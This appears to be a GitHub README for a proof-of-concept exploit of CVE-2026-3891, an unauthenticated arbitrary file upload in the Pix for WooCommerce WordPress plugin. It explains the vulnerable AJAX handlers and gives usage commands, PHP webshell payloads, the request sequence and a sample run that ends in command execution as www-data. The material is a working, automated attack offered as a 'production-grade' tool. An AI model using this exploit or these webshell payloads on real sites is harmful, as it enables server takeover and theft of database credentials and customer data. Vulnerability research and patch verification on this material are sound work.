
PoC for CVE-2026-3891 – Unauthenticated File Upload RCE in Pix for WooCommerce ≤ 1.5.0. Automated nonce retrieval, PHP upload, and command execution.
Proof‑of‑Concept exploit for CVE-2026-3891 – unauthenticated arbitrary file upload leading to remote code execution in the Pix for WooCommerce WordPress plugin (≤ 1.5.0).
CVE-2026-3891 is a critical vulnerability in the Pix for WooCommerce plugin, affecting all versions up to 1.5.0. The plugin fails to enforce proper authorization and file‑type checks in its AJAX handler lkn_pix_for_woocommerce_c6_save_settings. An unauthenticated attacker can abuse this flaw to upload arbitrary PHP files to a publicly accessible directory and achieve remote code execution on the underlying WordPress server.
This repository contains a production‑grade PoC that automates the entire attack chain – from fetching a valid nonce to uploading a webshell – with robust error handling and a beautiful CLI interface.
certificate_crt_path file parameter expected by the vulnerable handler.--check).[ * ], [ + ], [ - ], [ ! ] for instant readability.The root cause lies in two AJAX actions registered by the plugin:
lkn_pix_for_woocommerce_generate_nonceadd_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
This action is hooked into wp_ajax_nopriv_*, making it accessible to unauthenticated visitors. It generates a nonce for the lkn_pix_for_woocommerce_c6_settings_nonce action and returns it in a JSON envelope:
{"success":true,"data":{"nonce":"abc123..."}}
No capability check or user authentication is performed – anyone can request a valid nonce.
lkn_pix_for_woocommerce_c6_save_settingsadd_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);
This handler saves plugin settings, including a file upload field named certificate_crt_path. Although the upload occurs through WordPress’s media_handle_upload helper, the plugin does not:
current_user_can)..php files).wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
which is directly accessible via the web.Because the nonce only protects against CSRF, and it can be obtained by anyone, an attacker can chain these two actions to upload and execute arbitrary PHP code.
www-data or apache).wp-config.php, database credentials, customer data.requests library (install via pip install requests).git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt # requests
python CVE-2026-3891.py http://target.com/wordpress
For more control, use command‑line options:
python CVE-2026-3891.py https://example.com \
-f shell.php \
-p '<?php system($_GET["c"]); ?>' \
--check \
--timeout 20
___ _ _ ____ ___ ___ ___ _ ___ ___ ___ __
/ __)( \/ )( ___)___(__ \ / _ \(__ \ / ) ___(__ )( _ )/ _ \/ )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_ / )(
\___) \/ (____) (____)\___/(____)\___/ (___/\___/ (_/ (__)
[CVE-2026-3891]
Pix for WooCommerce Unauthenticated File Upload
Owner: Ch4120N
[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php
# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Flag | Description | Default |
|---|---|---|
target (positional) | Base URL of the WordPress site. | Required |
-f, --filename | Name of the uploaded PHP file. | woocommerce.php |
-p, --payload | PHP code to upload. | <?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?> |
-t, --timeout | Request timeout in seconds. | 15 |
-r, --retries | Max retries for nonce retrieval. | 2 |
--no-banner | Suppress ASCII art. | (off) |
--no-verify | Skip accessibility check after upload. | (off) |
--check | Execute id on the webshell after upload. | (off) |
http://target/wp-admin/admin-ajax.phplkn_pix_for_woocommerce_generate_nonceaction_name=lkn_pix_for_woocommerce_c6_settings_nonce{"success":true,"data":{"nonce":"..."}}wp_ajax_nopriv_*. No cookie or session is needed.admin-ajax.phplkn_pix_for_woocommerce_c6_save_settings_ajax_nonce – the nonce retrieved earliercertificate_crt_path – a multipart file upload (the payload).php files are accepted and stored without renaming.